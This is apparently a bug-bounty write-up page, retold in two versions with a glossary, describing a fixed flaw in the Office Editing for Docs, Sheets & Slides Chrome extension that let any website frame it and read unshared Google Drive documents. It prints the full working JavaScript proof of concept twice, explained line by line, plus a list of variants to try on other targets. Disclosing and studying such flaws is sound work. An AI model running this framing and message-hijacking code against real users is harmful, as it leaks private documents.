Skip to content
Info disclosure Write-up Advanced

Office Editing for Docs Sheets & Slides leak

A Chrome extension for editing Office files embedded its viewer in a page without restricting who could frame it, so any website could load it in an iframe. An attacker who knew a Google Drive document ID could then read the document's contents through the extension's messaging, even for files that were never shared.

NDevTK Follow

Published on ndevtk.github.io

Bounty$3,134 View original

setInterval(() => { if (window.f) document.body.removeChild(f); f = document.createElement('iframe'); f.width = 500; f.height = 500; f.src = 'chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html?state=%7B"ids":%5B"' + msofficeDocId + '"%5D,"action":"open","resourceKeys":%7B%7D%7D';

NDevTK, on ndevtk.github.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target is the Chrome extension Office Editing for Docs, Sheets & Slides, published on the Chrome Web Store under the ID gbkeegbaiigmenfmjfclcdgdpimamgkj. The extension's page is served at chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html.

The page takes a state query parameter that describes which Drive file to open. The researcher found that this page could be framed by an arbitrary website, and that the framed page would send sensitive information to a nested third-party iframe using the * scope, which could be hijacked via good navigation timings. The result is a cross-origin data leak from a victim's Google Drive, provided the attacker knows the document ID.

Setup

  • A docx or pptx file uploaded to Google Drive. The file does not need to be shared with anyone.
  • Third-party cookies enabled in the browser. The report notes that browser heuristics can make this automatic: for example, Chrome allows them if the user opens and interacts with a popup.
  • The document ID of the uploaded file, substituted into the payload below.

Finding it

The extension page chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html accepts a state parameter containing a JSON object with the file ids and an action of open. Nothing in the extension's content security policy prevented that page from being loaded inside an iframe on an attacker-controlled site. Once framed, the page loads nested iframes, and the researcher found that a nested, nested third-party iframe could be navigated to about:blank and then have its onmessage handler replaced, so that messages the extension sends to that frame are logged.

Exploitation

Step 1: Build the framing payload

The researcher's proof of concept repeatedly creates an iframe pointing at the extension page, with the state parameter carrying the target document ID:

JavaScript
let msofficeDocId = '[redacted]';

setInterval(() => {
  if (window.f) document.body.removeChild(f);
  f = document.createElement('iframe');
  f.width = 500;
  f.height = 500;
  f.src =
    'chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html?state=%7B"ids":%5B"' +
    msofficeDocId +
    '"%5D,"action":"open","resourceKeys":%7B%7D%7D';

  document.body.appendChild(f);

  let loop = setInterval(() => {
    // Wait for iframes to load
    if (f.contentWindow.length !== 2) return;
    clearInterval(loop);

    setTimeout(() => {
      f.contentWindow[0].location = 'about:blank';
      let loop2 = setInterval(() => {
        try {
          // Monitor for leaks via onmessage
          f.contentWindow[0].onmessage = (e) => {
            console.log('Data leaked :) ' + JSON.stringify(e.data));
          };
          clearInterval(loop2);
        } catch {}
      }, 0);
      // Wait a bit for the sandbox to request document content
    }, 600);
  }, 0);

  // Retry ever 2 seconds
}, 2000);

The state value is URL-encoded JSON: %7B"ids":%5B"<docId>"%5D,"action":"open","resourceKeys":%7B%7D%7D decodes to {"ids":["<docId>"],"action":"open","resourceKeys":{}}. The outer setInterval retries the whole attempt every two seconds, removing any previous iframe first.

Step 2: Wait for the nested frames

The inner setInterval polls f.contentWindow.length until it equals 2, meaning the extension page has created its two nested iframes. It then waits 600 ms, described in the code as waiting for the sandbox to request document content.

Step 3: Navigate the nested frame to about:blank

After the delay, the code sets f.contentWindow[0].location = 'about:blank'. This is the frame-src 'self' bypass: because of an about:blank edge case, a nested, nested third-party iframe can be navigated to about:blank, and doing so bypasses the child's CSP. Because of an about:blank edge case, the child's CSP is bypassed, so the attacker can install a handler on the frame.

Step 4: Capture the leaked messages

The code then installs a handler on the navigated frame:

JavaScript
f.contentWindow[0].onmessage = (e) => {
  console.log('Data leaked :) ' + JSON.stringify(e.data));
};

Any message the extension posts to that frame is logged. The report states that this results in leaking data because the victim sends sensitive information to an iframe using the * scope, and that this can be hijacked via good navigation timings even with the CSP in place.

Or watch on YouTube
From the original on ndevtk.github.io

The proof of concept video shows the attack running against the extension.

Root cause

Two weaknesses combine:

  1. The extension page could be framed by any origin, because its extension_pages content security policy did not restrict frame ancestors. An attacker page could therefore embed views/app.html and drive it with a chosen document ID.
  2. The victim sends sensitive information to a nested third-party iframe using the * scope. Combined with the about:blank navigation edge case that bypasses the child's frame-src 'self' CSP, the attacker can take control of that frame and receive the messages. The report notes that this navigation can be achieved with good timing even with the CSP in place, and links a GitHub issue opened about the behaviour: https://github.com/w3c/webappsec-csp/issues/662.

Impact

An attacker website can leak data from a user's Google Drive if it knows the document ID. The document does not need to be shared with anyone. The attack requires third-party cookies to be enabled, which browser heuristics may allow automatically after the user interacts with a popup on Chrome.

Fix

The issue was fixed by adding frame-ancestors 'self' to the extension_pages content security policy, which stops the extension page from being framed by other origins.

Variants to test

  • Other extension pages that accept a state or similar parameter. Check whether they can be framed and whether they post data to nested frames with a * target origin. A positive result is a page that loads inside an attacker iframe and delivers document content to a frame the attacker can navigate to about:blank.
  • Other frame-src 'self' protected widgets. Try navigating a nested third-party frame to about:blank and installing an onmessage handler. A positive result is receiving messages that the parent intended for the sandboxed child.
  • Timing variations. The payload waits 600 ms after the two nested frames appear and retries every two seconds; try different delays and retry intervals on other targets. A positive result is the leak succeeding reliably with adjusted timings.
  • Third-party cookie conditions. Test with third-party cookies blocked and with them allowed after popup interaction, to see which states the attack needs. A positive result is the leak working under the same heuristic conditions described here.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A Chrome extension called Office Editing for Docs, Sheets & Slides is published on the Chrome Web Store. The researcher NDevTK found that a malicious website could embed one of the extension's internal pages inside its own page and, through a chain of tricks, leak data from the victim's Google Drive. The only thing the attacker needed to know was the document's ID. The document did not have to be shared with anyone.

The issue was fixed by adding frame-ancestors 'self' to the extension_pages content security policy.

To follow the rest of this article you only need to know how to use a browser. Every technical term is explained the first time it appears, and there is a glossary at the end.

The product and the feature

Office Editing for Docs, Sheets & Slides is a Chrome extension. An extension is a small program you install into the Chrome browser to add a feature. This one is published on the Chrome Web Store, Google's official shop for extensions, under the identifier gbkeegbaiigmenfmjfclcdgdpimamgkj. Every extension has an ID like this; it is how Chrome and websites refer to it.

Google Drive is Google's online storage for files. The extension's page is at views/app.html.

That page accepts a query parameter called state. A query parameter is the part of a web address after the question mark, used to pass information to the page. For example, in shop.example.com/item?colour=red, colour=red is a query parameter. Here, state describes which Drive file to open.

What the researcher set up

Before running the attack, the researcher prepared three things:

  1. A docx or pptx file uploaded to Google Drive. The file does not need to be shared with anyone.
  2. Third-party cookies enabled in the browser. A cookie is a small piece of data a website asks the browser to store and send back on later requests, so the site can remember who you are. A third-party cookie is one set by a site different from the one you are visiting (for example, Google setting a cookie while you are on attacker.example). Browsers increasingly block these by default. The report notes that browser heuristics can make this automatic: for example, Chrome allows them if the user opens and interacts with a popup. Heuristics here means the browser's own judgement rules rather than a fixed setting.
  3. The document ID of the uploaded file, substituted into the payload below. A document ID is the long string of letters and numbers that uniquely identifies a file in Google Drive.

Finding the problem

The extension page chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html accepts a state parameter containing a JSON object with the file ids and an action of open. JSON is a simple text format for structured data, made of names and values in curly braces. URL-encoded means special characters are replaced by codes such as %7B so they can travel safely inside a web address.

Nothing in the extension's content security policy prevented that page from being loaded inside an iframe on an attacker-controlled site. Two terms to unpack:

  • An iframe is a frame inside a web page that loads another page. Websites use them to embed content, such as a video player or a map. If a page can be loaded in someone else's iframe, we say it can be framed.
  • A content security policy (CSP) is a set of rules a site sends to the browser saying what the page is allowed to load and do. One rule, frame-ancestors, says which other sites are allowed to put this page in an iframe. If that rule is missing, any site can frame the page.

Once framed, the extension page loads nested iframes: frames inside frames. The researcher found that a nested, nested third-party iframe could be navigated to about:blank and then have its onmessage handler replaced. Two more terms:

  • about:blank is the address of a completely empty page that browsers can create instantly. It has no content of its own.
  • onmessage is a handler, a piece of code that runs when the page receives a message from another page. Browsers let pages talk to each other with postMessage, a messaging feature. If you replace the handler, you decide what happens to incoming messages.

By replacing the handler, messages the extension sends to that frame are logged by attacker code.

Carrying out the attack

Step 1: Build the framing payload

The researcher's proof of concept repeatedly creates an iframe pointing at the extension page, with the state parameter carrying the target document ID:

JavaScript
let msofficeDocId = '[redacted]';

setInterval(() => {
  if (window.f) document.body.removeChild(f);
  f = document.createElement('iframe');
  f.width = 500;
  f.height = 500;
  f.src =
    'chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html?state=%7B"ids":%5B"' +
    msofficeDocId +
    '"%5D,"action":"open","resourceKeys":%7B%7D%7D';

  document.body.appendChild(f);

  let loop = setInterval(() => {
    // Wait for iframes to load
    if (f.contentWindow.length !== 2) return;
    clearInterval(loop);

    setTimeout(() => {
      f.contentWindow[0].location = 'about:blank';
      let loop2 = setInterval(() => {
        try {
          // Monitor for leaks via onmessage
          f.contentWindow[0].onmessage = (e) => {
            console.log('Data leaked :) ' + JSON.stringify(e.data));
          };
          clearInterval(loop2);
        } catch {}
      }, 0);
      // Wait a bit for the sandbox to request document content
    }, 600);
  }, 0);

  // Retry ever 2 seconds
}, 2000);

Line by line, in plain words:

  • let msofficeDocId = '[redacted]'; stores the target document ID in a variable. The attacker would put the victim's document ID here.
  • setInterval(() => { starts a block of code that runs again and again, every 2000 milliseconds (two seconds), as stated at the bottom of the block. Repeating the attempt gives the attack more chances to succeed.
  • if (window.f) document.body.removeChild(f); removes the previous iframe if one exists, so each attempt starts clean.
  • f = document.createElement('iframe'); creates a new iframe element in the page.
  • f.width = 500; and f.height = 500; give it a size of 500 by 500 pixels.
  • f.src = sets the address the iframe will load. The address is built by gluing three pieces of text together with +.
  • The first piece is 'chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html?state=%7B"ids":%5B"', the extension page plus the start of the state value.
  • The middle piece is the document ID variable.
  • The last piece is '"%5D,"action":"open","resourceKeys":%7B%7D%7D', the rest of the state value.
  • document.body.appendChild(f); puts the iframe into the visible page, which makes the browser load it.
  • let loop = setInterval(() => { starts a second repeating block that checks whether the iframe has finished loading its own frames.
  • if (f.contentWindow.length !== 2) return; checks how many frames the extension page contains. If it is not exactly 2, the code stops this round and tries again shortly. contentWindow is the window object of the iframe, the handle through which the page can be inspected and controlled.
  • clearInterval(loop); stops the checking loop once the two frames are there.
  • setTimeout(() => { waits before continuing. The delay is 600 milliseconds, set at the bottom of this block.
  • f.contentWindow[0].location = 'about:blank'; navigates the first nested frame to the empty page. This is the key move, explained in Step 3.
  • let loop2 = setInterval(() => { starts a third repeating block that keeps trying to install the message handler.
  • try { begins a guarded block: if anything inside it throws an error, the error is caught instead of stopping the script.
  • f.contentWindow[0].onmessage = (e) => { replaces the handler for incoming messages on the navigated frame. e is the message event, which carries the data.
  • console.log('Data leaked :) ' + JSON.stringify(e.data)); prints the message data to the browser's developer console. JSON.stringify turns the data into readable text.
  • clearInterval(loop2); stops the retry loop once the handler is installed.
  • } catch {} catches any error silently and lets the loop try again.
  • }, 0); runs the retry loop as fast as the browser allows.
  • }, 600); sets the 600 millisecond wait described above.
  • }, 0); runs the frame-counting loop as fast as possible.
  • }, 2000); restarts the whole attempt every two seconds.

The state value is URL-encoded JSON: %7B"ids":%5B"<docId>"%5D,"action":"open","resourceKeys":%7B%7D%7D decodes to {"ids":["<docId>"],"action":"open","resourceKeys":{}}. In other words, it tells the extension: open the file with this ID. The outer setInterval retries the whole attempt every two seconds, removing any previous iframe first.

Step 2: Wait for the nested frames

The inner setInterval polls f.contentWindow.length until it equals 2, meaning the extension page has created its two nested iframes. Polling means checking something repeatedly until it is ready, like refreshing a tracking page until the parcel shows as delivered. It then waits 600 ms, described in the code as waiting for the sandbox to request document content. A sandbox is an isolated frame the browser restricts, used to run content safely.

Step 3: Navigate the nested frame to about:blank

After the delay, the code sets f.contentWindow[0].location = 'about:blank'. This is the frame-src 'self' bypass. frame-src is the CSP rule that says which addresses a page may load in its frames; 'self' means only the same origin. An origin is the combination of scheme, host and port that identifies a site, such as https://example.com. Because of an about:blank edge case, a nested, nested third-party iframe can be navigated to about:blank, and doing so bypasses the child's CSP. Because of an about:blank edge case, the child's CSP is bypassed, so the attacker can install a handler on the frame. In everyday terms: the empty page is treated as belonging to whoever created it, so the attacker's code is allowed to run inside it.

Step 4: Capture the leaked messages

The code then installs a handler on the navigated frame:

JavaScript
f.contentWindow[0].onmessage = (e) => {
  console.log('Data leaked :) ' + JSON.stringify(e.data));
};
  • f.contentWindow[0].onmessage = (e) => { sets the function that runs whenever a message arrives at the first nested frame.
  • console.log('Data leaked :) ' + JSON.stringify(e.data)); prints the message contents to the console, where the attacker can read them.
  • }; closes the function.

Any message the extension posts to that frame is logged. The report states that this results in leaking data because the victim sends sensitive information to an iframe using the * scope, and that this can be hijacked via good navigation timings even with the CSP in place. The * scope means the sender did not restrict which site may receive the message, so any site that controls the frame can read it. Navigation timing means getting the order and moment of page loads right, so the attacker's code is in place before the message arrives.

Or watch on YouTube
From the original on ndevtk.github.io

The proof of concept video shows the attack running against the extension.

Root cause

Two weaknesses combine:

  1. The extension page could be framed by any origin, because its extension_pages content security policy did not restrict frame ancestors. extension_pages is the CSP that applies to the extension's own pages. Frame ancestors are the sites allowed to embed a page in a frame. An attacker page could therefore embed views/app.html and drive it with a chosen document ID.
  2. The victim sends sensitive information to a nested third-party iframe using the * scope. Combined with the about:blank navigation edge case that bypasses the child's frame-src 'self' CSP, the attacker can take control of that frame and receive the messages. The report notes that this navigation can be achieved with good timing even with the CSP in place, and links a GitHub issue opened about the behaviour: https://github.com/w3c/webappsec-csp/issues/662.

Impact

An attacker website can leak data from a user's Google Drive if it knows the document ID. The document does not need to be shared with anyone. The attack requires third-party cookies to be enabled, which browser heuristics may allow automatically after the user interacts with a popup on Chrome.

Fix

The issue was fixed by adding frame-ancestors 'self' to the extension_pages content security policy, which stops the extension page from being framed by other origins. In plain words: the extension now tells the browser that only the extension itself may put its pages in a frame, so an attacker's site can no longer embed views/app.html.

Variants to test

  • Other extension pages that accept a state or similar parameter. Check whether they can be framed and whether they post data to nested frames with a * target origin. A positive result is a page that loads inside an attacker iframe and delivers document content to a frame the attacker can navigate to about:blank.
  • Other frame-src 'self' protected widgets. Try navigating a nested third-party frame to about:blank and installing an onmessage handler. A positive result is receiving messages that the parent intended for the sandboxed child.
  • Timing variations. The payload waits 600 ms after the two nested frames appear and retries every two seconds; try different delays and retry intervals on other targets. A positive result is the leak succeeding reliably with adjusted timings.
  • Third-party cookie conditions. Test with third-party cookies blocked and with them allowed after popup interaction, to see which states the attack needs. A positive result is the leak working under the same heuristic conditions described here.

Glossary

  • API: a defined way for one piece of software to ask another for data or actions, like a service counter with set requests.
  • about:blank: the address of an empty page the browser can create instantly.
  • Bounty: a reward a company pays to someone who reports a security problem to it.
  • Chrome extension: a small program installed into the Chrome browser to add a feature.
  • Content security policy (CSP): rules a site sends to the browser saying what the page may load and do.
  • Cookie: a small piece of data a site asks the browser to store and send back later, so it can remember you.
  • Cross-origin: involving two different origins, which browsers keep separated for safety.
  • Document ID: the unique string identifying a file in Google Drive.
  • docx / pptx: file formats for Microsoft Word documents and PowerPoint presentations.
  • frame-ancestors: the CSP rule listing which sites may embed a page in a frame.
  • frame-src: the CSP rule listing which addresses a page may load in its frames.
  • Google Drive: Google's online file storage service.
  • Handler: a piece of code that runs when a particular event happens.
  • Heuristics: a browser's own judgement rules, rather than a fixed setting.
  • iframe: a frame inside a web page that loads another page.
  • JSON: a simple text format for structured data, made of names and values in curly braces.
  • Navigation timing: getting the order and moment of page loads right so code runs at the intended moment.
  • Nested iframe: an iframe inside another iframe.
  • onmessage: the handler that runs when a page receives a message from another page.
  • Origin: the combination of scheme, host and port that identifies a site, such as https://example.com.
  • Polling: checking something repeatedly until it is ready.
  • postMessage: the browser feature that lets pages send messages to each other.
  • Proof of concept (PoC): a working demonstration that a problem is real.
  • Query parameter: the part of a web address after the question mark, used to pass information to the page.
  • Sandbox: an isolated frame the browser restricts, used to run content safely.
  • Third-party cookie: a cookie set by a site different from the one you are visiting.
  • URL-encoded: special characters replaced by codes such as %7B so they can travel safely inside a web address.
  • * target origin: a message sent without restricting which site may receive it.

More by NDevTK

View all

31 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.